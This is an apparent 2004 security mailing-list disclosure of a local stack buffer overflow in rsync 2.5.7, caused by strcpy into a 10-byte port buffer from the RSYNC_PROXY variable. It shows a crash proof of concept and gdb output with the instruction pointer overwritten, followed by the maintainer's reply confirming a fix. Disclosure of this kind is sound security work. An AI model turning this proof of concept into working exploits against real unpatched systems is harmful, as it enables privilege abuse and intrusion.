DownBload / Illegal Instruction Labs
2004-Feb-06 14:25 UTC
Rsync 2.5.7 local buffer overflow
Hi folks, I've discovered a local stack overflow bug in rsync 2.5.7. Problem is in open_socket_out function (socket.c). ... char portbuf[10]; char *h; int proxied = 0; char buffer[1024]; char *cp; ... h = getenv("RSYNC_PROXY"); proxied = (h != NULL) && (*h != '\0'); ... if (proxied) { strlcpy(buffer, h, sizeof(buffer)); cp = strchr(buffer, ':'); if (cp == NULL) { rprintf(FERROR, "invalid proxy specification: should be HOST:PORT\n"); return -1; } *cp++ = '\0'; strcpy(portbuf, cp); // <- BUFFER OVERFLOW ... If RSYNC_PROXY environment variable is set, rsync will read hostname and port from it. It is possible to overflow port portbuf[10] variable. Example: [root@localhost root]# export RSYNC_PROXY=`perl -e 'print "A" x 100,":","A" x 1000'` [root@localhost root]# rsync localhost:: rsync: getaddrinfo: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA: ai_family not supported Segmentation fault [root@localhost root]# ulimit -c unlimited [root@localhost root]# rsync localhost:: rsync: getaddrinfo: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA: ai_family not supported Segmentation fault (core dumped) [root@localhost root]# gdb -c=core.9674 GNU gdb Red Hat Linux (5.1.90CVS-5) Copyright 2002 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux". Core was generated by `rsync localhost::'. Program terminated with signal 11, Segmentation fault. #0 0x41414141 in ?? () Regards, Leon Juranic a.k.a DownBload / Illegal Instruction Labs "Born under the lucky star magical, but on this world generally tragical". _________________________________________________________________ MSN 8 with e-mail virus protection service: 2 months FREE* http://join.msn.com/?page=features/virus
On Fri, Feb 06, 2004 at 03:24:24PM +0100, DownBload / Illegal Instruction Labs wrote:> strcpy(portbuf, cp); // <- BUFFER OVERFLOWCorrect. I fixed this in the CVS version earlier this year. Since the proxy data is coming from the local environment, I don't see a need to roll out an update to 2.6.0 (which is the latest released version, BTW). The fix will be in 2.6.1, which should be released in the next month or two. Thanks for the report, ..wayne..